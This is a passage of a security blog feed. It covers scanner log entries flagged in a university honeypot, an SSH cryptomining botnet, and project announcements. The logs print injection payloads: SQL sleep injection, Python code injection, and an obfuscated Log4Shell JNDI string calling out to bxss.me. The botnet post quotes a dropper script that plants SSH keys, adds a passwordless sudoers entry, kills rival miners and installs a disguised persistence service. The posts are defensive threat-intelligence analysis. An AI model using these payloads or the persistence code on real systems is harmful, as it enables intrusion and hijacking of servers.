<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">[...]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-08-24 16:15:58     Invalid CSRF token ['+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitjninzrcvuhec149."+"bxss.me")+'] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[...]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:46:06     Invalid CSRF token [(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/] on https://[REDACTED]/login.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[...]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">52.86.221.173   2024-09-07 21:57:25     Invalid CSRF token [${j${::-n}di:dns${::-:}${::-/}${::-/}hitnjcedohhyn07a72${::-.}bxss.me}zzzz${url:UTF-8:http://hitivynwrnhqr.bxss.me/}] on https://[REDACTED]/open.php</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[...]</span><br></div></code></pre></div></div>
<p>Taking a look at the IP the requests were coming from, we can see it belongs to AWS, most probably an EC2 instance.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">➜ whois 52.86.221.173</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># ARIN WHOIS data and services are subject to the Terms of Use</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># available at: https://www.arin.net/resources/registry/whois/tou/</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># If you see inaccuracies in the results, please report at</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># https://www.arin.net/resources/registry/whois/inaccuracy_reporting/</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># Copyright 1997-2024, American Registry for Internet Numbers, Ltd.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">NetRange:       52.84.0.0 - 52.95.255.255</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">CIDR:           52.88.0.0/13, 52.84.0.0/14</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">NetName:        AT-88-Z</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">NetHandle:      NET-52-84-0-0-1</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Parent:         NET52 (NET-52-0-0-0-0)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">NetType:        Direct Allocation</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OriginAS:       AS16509, AS14618</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Organization:   Amazon Technologies Inc. (AT-88-Z)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">RegDate:        1991-12-19</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Updated:        2022-03-21</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Ref:            https://rdap.arin.net/registry/ip/52.84.0.0</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgName:        Amazon Technologies Inc.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgId:          AT-88-Z</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Address:        410 Terry Ave N.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">City:           Seattle</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">StateProv:      WA</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">PostalCode:     98109</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Country:        US</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">RegDate:        2011-12-08</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Updated:        2024-01-24</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        All abuse reports MUST include:</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        * src IP</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        * dest IP (your IP)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        * dest port</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        * Accurate date/timestamp and timezone of activity</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        * Intensity/frequency (short log extracts)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Comment:        * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Ref:            https://rdap.arin.net/registry/entity/AT-88-Z</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingHandle: IPROU3-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingName:   IP Routing</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingPhone:  +1-206-555-0000</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingEmail:  aws-routing-poc@amazon.com</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingRef:    https://rdap.arin.net/registry/entity/IPROU3-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgNOCHandle: AANO1-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgNOCName:   Amazon AWS Network Operations</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgNOCPhone:  +1-206-555-0000</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgNOCEmail:  amzn-noc-contact@amazon.com</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgNOCRef:    https://rdap.arin.net/registry/entity/AANO1-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgAbuseHandle: AEA8-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgAbuseName:   Amazon EC2 Abuse</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgAbusePhone:  +1-206-555-0000</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgAbuseEmail:  trustandsafety@support.aws.com</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgAbuseRef:    https://rdap.arin.net/registry/entity/AEA8-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingHandle: ARMP-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingName:   AWS RPKI Management POC</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingPhone:  +1-206-555-0000</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingEmail:  aws-rpki-routing-poc@amazon.com</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgRoutingRef:    https://rdap.arin.net/registry/entity/ARMP-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgTechHandle: ANO24-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgTechName:   Amazon EC2 Network Operations</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgTechPhone:  +1-206-555-0000</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgTechEmail:  amzn-noc-contact@amazon.com</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">OrgTechRef:    https://rdap.arin.net/registry/entity/ANO24-ARIN</span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># ARIN WHOIS data and services are subject to the Terms of Use</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># available at: https://www.arin.net/resources/registry/whois/tou/</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># If you see inaccuracies in the results, please report at</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># https://www.arin.net/resources/registry/whois/inaccuracy_reporting/</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div><div class="token-line" style="color:#000000"><span class="token plain"># Copyright 1997-2024, American Registry for Internet Numbers, Ltd.</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">#</span><br></div></code></pre></div></div>
<p>Furthermore, this IP <a href="https://www.abuseipdb.com/check/52.86.221.173" target="_blank" rel="noopener noreferrer" class="">has already been flagged</a> on AbuseIPDB, with activity reported as early as one year ago (September 2023).</p>
<img src="https://cybercloud.upb.ro/assets/images/mr-bad-bot-september-2024-abuseipdb-2905675ddd7db2709b6a01159be2c9cd.png" width="400">
<p>We also looked for this IP in our logs to identify what other things it was targeting and found older activity on multiple services and servers.</p>
<img src="https://cybercloud.upb.ro/assets/images/mr-bad-bot-september-2024-opensearch-cdceb02e82774f00f1e7987fe65c7dad.png">
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="takeaway">Takeaway<a href="https://cybercloud.upb.ro/blog/mr-bad-bot#takeaway" class="hash-link" aria-label="Direct link to Takeaway" title="Direct link to Takeaway" translate="no">​</a></h2>
<p>It's probably safe to say that you can block this IP without any issues. If it doesn't impact your users you can even block the entire AWS IP block, or even more datacenter IPs through <a href="https://iplists.firehol.org/?ipset=datacenters#" target="_blank" rel="noopener noreferrer" class="">blocklists like the ones provided by FireHOL</a>, but double check that there are no exceptions you need to account for.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/mr-bad-bot#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h2>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[SSH botnets with a 9 to 5]]></title>
        <id>https://cybercloud.upb.ro/blog/ssh-botnets-9-5</id>
        <link href="https://cybercloud.upb.ro/blog/ssh-botnets-9-5"/>
        <updated>2024-08-27T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[SSH botnets with a fixed running schedule]]></summary>
        <content type="html"><![CDATA[<p>Every publicly exposed server will be, at some point, attacked by botnets.
In this blog post, we will concentrate on the SSH botnets, i.e., the ones that
try to connect via SSH to vulnerable endpoints (due to weak <code>user:password</code> combinations,
SSH daemon misconfigurations and so on). After connecting to an endpoint,
they usually run various commands (e.g., download and execute malware).</p>
<p>As part of the <a class="" href="https://cybercloud.upb.ro/blog/soccare-upb">SOCcare project</a> where Politehnica Bucharest
is one of the partners, we deployed a honeypot to detect and study the SSH botnets’ behavior.
During the month of August, we discovered some interesting patterns.</p>
<p>As it can be seen in the picture below, SSH botnets are caught by our honeypot
at roughly the same hours.</p>
<img src="https://cybercloud.upb.ro/assets/images/ssh-botnets-august-2024-opensearch-7231074c41eb0c84a0b0444b64daa662.PNG">
<p>When zooming in the picture (see below), it seems that most attacks are registered
between 8 and 10 AM (EEST).</p>
<img src="https://cybercloud.upb.ro/assets/images/ssh-botnets-august-2024-zoom-1f0d22a15c1f9b43ff9fb096e7a94fcc.png" width="600">
<p>Upon further inspection, we determined that the attacks are largely the same.
We have identified two culprits:</p>
<ol>
<li class=""><strong>Miner disguised as bioset kernel process</strong> – <a href="https://www.virustotal.com/gui/file/b76bad860854d951373db76bfa33aab01ca66abbb8b5a82e14ebfd8fa2f24a03" target="_blank" rel="noopener noreferrer" class="">VirusTotal Scan of the file downloaded by the botnet on the honeypot</a>.</li>
<li class=""><strong>Masscan</strong> - <a href="https://github.com/robertdavidgraham/masscan" target="_blank" rel="noopener noreferrer" class="">GitHub repository</a>.</li>
</ol>
<p>While the first one usually starts the attacks at 9 AM EEST (sometimes at 8 AM EEST),
the second one usually runs at 10 AM.
Most of the time it is the same IP that delivers both payloads.
An interesting thing is that some of the miners started by the first script are
later killed by the second attack.</p>
<p>The picture below shows that the most common IPs are the same, with a nearly
identical distribution. Additional checks show that most IPs originate from
the same  datacenter / VPN services in the Netherlands.</p>
<img src="https://cybercloud.upb.ro/assets/images/ssh-botnets-august-2024-ips-914feecd16115e61281720ec57492ed3.png" width="600">
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="miner-disguised-as-bioset-kernel-process">Miner disguised as bioset kernel process<a href="https://cybercloud.upb.ro/blog/ssh-botnets-9-5#miner-disguised-as-bioset-kernel-process" class="hash-link" aria-label="Direct link to Miner disguised as bioset kernel process" title="Direct link to Miner disguised as bioset kernel process" translate="no">​</a></h3>
<p><a href="https://www.virustotal.com/gui/file/b76bad860854d951373db76bfa33aab01ca66abbb8b5a82e14ebfd8fa2f24a03" target="_blank" rel="noopener noreferrer" class="">The payload dropped</a>
performs classic operations: from unsetting the history (so the commands won’t show),
adding a new user, inserting various SSH keys in <code>authorized_keys</code> file and
editing the <code>sudoers</code> file to start cryptomining activities.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">useradd -m tty0</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">cd ~tty0 ; mkdir .ssh ; cd .ssh</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBM4NOmZw9pMeG/jNpQ1qA7cpSfhzy0JvuEgFuoIM3Hartkcdbx1yRKdZ3rdB12Umt7+z5R+Xnl88WOemKJZ35JMK3sqEr1uQ+kA4oq8POfN3QqJ+xZbIdY7Odlc7xquIWhXjPz0d1aKPikQItZ/oVEyewX3Ps1wKLflVSEhKnEIvaXb6Mp5ZYMHe7MNdIoamNgRIDjBi98a3WkXQRCbpjsmulUxdZ+QjmLBbubutqIxdYKkFH5F2sZm1RYcp76mRm26Num+Uoer3ecdoe/CLv9jBfZOyIrL2ICa8bvT5DNhP1CNKYnhMmHDKyjALgxiMjhFisUVW893K6AKt0BUJ/ gbrc@ions5" &gt; authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxLMf8/BPlrG2ayMqkvncQqxeKPmrP0AynGhindZyNtP/CmEpRgPRZ06yOnvDxbzVhxCo1qLW1SDxpSfEOI4b0RQH+4YJZMzE4cvObPEqhqWRZr6iPrqQqwvGl0HIu+hOdn0KfKiC1yWmBZqvc2AUOP/EniRaVdtgTsI7RG/4fEvoxlaeVvy/Lpkvn5rhAIGaKa/AMSBipBZG/GCTFCHd89xtZ7qtl9nmDjI7FBEZIsCWPz9a4UT2yDqkMvVd2LvZgta+scvv/L+duJ7qR3i6c2nK3h17CqNNBJRZ0jPMMCwpaO+vAYMXSDlnjVBqXN7khTHnmtXwow2byGBM/Ib9z imran@imran" &gt;&gt; authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">chmod 600 authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">chown tty0 authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">chcon -R unconfined_u:object_r:user_home_t:s0 authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">restorecon -v authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">cd ..</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">chmod 700 .ssh</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">chown -R tty0 .ssh</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">chattr -R +a +i .ssh</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">...</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">grep tty0 /etc/sudoers</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">if [ $? = 0 ]; then</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    echo sudo</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">else</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    echo "%tty0   ALL=(ALL) NOPASSWD:ALL" &gt;&gt; /etc/sudoers</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">fi</span><br></div></code></pre></div></div>
<p>However, the script seems to be pretty well crafted. The next code snippets
highlight the most interesting things we have discovered while inspecting the script.</p>
<p><strong>Insight 1</strong>. The script kills other miners before starting</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">crontab -r</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">kill -9 `netstat -anp | grep 5.133.65.54 |  awk '{print $7}' | cut -f 1 -d '/'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">kill -9 `netstat -anp | grep 178.128.242.134 |  awk '{print $7}' | cut -f 1 -d '/'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">...</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl stop pwnriglhttps.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl stop pwnrig.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl disable pwnrig.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl disable pwnriglhttps.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl stop kdomp.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl stop ModeManager.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl stop cron.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl disable cron.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl stop c3pool_miner.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">systemctl disable c3pool_miner.service</span><br></div></code></pre></div></div>
<p><strong>Insight 2</strong>. The script is aware of SELinux</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">chcon -R unconfined_u:object_r:user_home_t:s0 authorized_keys</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">restorecon -v authorized_keys</span><br></div></code></pre></div></div>
<p><strong>Insight 3</strong>. Uses typos for common services for persistence (<code>ModemManager</code> -&gt; <code>ModeManager</code>, <code>rsyslogd</code> -&gt; <code>rsyslgd</code>)</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">    cat &lt;&lt;EOF &gt;&gt; /etc/systemd/system/ModeManager.service</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[Unit]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Description=Mode Manager</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Wants=network.target</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">After=syslog.target network-online.target</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[Service]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Type=forking</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">ExecStart=/bin/bash -c 'cp -f -r -- /usr/biosetm64 /usr/-bash 2&gt;/dev/null &amp;&amp; /usr/-bash -c  &gt;/dev/null 2&gt;&amp;1 &amp;&amp; rm -rf -- /usr/-bash 2&gt;/dev/null'</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">Restart=always</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">KillMode=process</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[Install]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">WantedBy=multi-user.target</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">EOF</span><br></div></code></pre></div></div>
<p><strong>Insight 4</strong>. Sets up a service that periodically kills processes connecting to
some IPs (probably other miners). This is the <code>rsyslgd</code> file which is a bash script (see below)</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">#!/bin/bash</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">while true</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">do</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f joseph</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall joseph</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f osama</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall osama</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f xm64</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall xm64</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall daemon</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f obama1</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall obama1</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f kswapd0</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall kswapd0</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f jehgms</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall jehgms</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f tsm</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall tsm</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f rig</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall rig</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	pkill -f xmr</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	killall xmr</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	...</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	kill -9 `ps -ef | grep ps | grep -iv grep | grep -iv ef | awk '{print $2}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	kill -9 `ps -ef | grep -w "./cron"  | grep -iv grep | awk '{print $2}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	kill -9 `ss -p | grep 179.43.154.189 | awk '{print $7}' | cut -f 2 -d ',' | sed -e 's/=/ /g' | awk '{print $2}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	kill -9 `ss -p | grep 51.75.68.83 | awk '{print $7}' | cut -f 2 -d ',' | sed -e 's/=/ /g' | awk '{print $2}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	kill -9 `ss -p | grep 121.158.190.84 | awk '{print $7}' | cut -f 2 -d ',' | sed -e 's/=/ /g' | awk '{print $2}'`</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">	...</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">done</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="masscan">Masscan<a href="https://cybercloud.upb.ro/blog/ssh-botnets-9-5#masscan" class="hash-link" aria-label="Direct link to Masscan" title="Direct link to Masscan" translate="no">​</a></h3>
<p>While the first botnet starts miners, this one appears to scan the targets.
The relevant VirusTotal files are the following:</p>
<ul>
<li class=""><a href="https://www.virustotal.com/gui/file/2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251" target="_blank" rel="noopener noreferrer" class="">https://www.virustotal.com/gui/file/2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251</a></li>
<li class=""><a href="https://www.virustotal.com/gui/file/9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2" target="_blank" rel="noopener noreferrer" class="">https://www.virustotal.com/gui/file/9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2</a></li>
</ul>
<p>What seems to be interesting is that the attack uses opensource tools such as
<a href="https://github.com/nullsecuritynet/tools/blob/main/cracker/against/source/against.py" target="_blank" rel="noopener noreferrer" class="">this one</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/ssh-botnets-9-5#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[UPB is part of the SOCcare team]]></title>
        <id>https://cybercloud.upb.ro/blog/soccare-upb</id>
        <link href="https://cybercloud.upb.ro/blog/soccare-upb"/>
        <updated>2024-08-12T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[UPB is part of the EU SOCcare project]]></summary>
        <content type="html"><![CDATA[<p>The SOCcare project is aimed at building better cyber threat intelligence
through improved analysis of digital artefacts, and then sharing this threat
intelligence across the Eastern Europe region and beyond to increase cooperation
and cyber resilience of Digital Europe.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="400">
<p>After a few months of planning and collaboration - March marked the first month
when Politehnica Bucharest together with partners NRD Cyber Security and RevelSI
began sharing threat intelligence datasets as part of the SOCcare project.</p>
<p>The project is co-funded by the European Union. The project funded under
Grant Agreement No. 101145843 is supported by the European Cybersecurity
Competence Centre.</p>]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Welcome to our SysDevOps corner!]]></title>
        <id>https://cybercloud.upb.ro/blog/welcome-sys-dev-ops</id>
        <link href="https://cybercloud.upb.ro/blog/welcome-sys-dev-ops"/>
        <updated>2024-08-12T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[SysDevOps and Security random facts.]]></summary>
        <content type="html"><![CDATA[<p>Welcome to our SysDevOps and Security corner.
Here you will find sysadmin and security stuff and random facts.</p>
<p>Stay tuned for more blog posts.</p>]]></content>
        <category label="hello" term="hello"/>
        <category label="security news" term="security news"/>
    </entry>
</feed>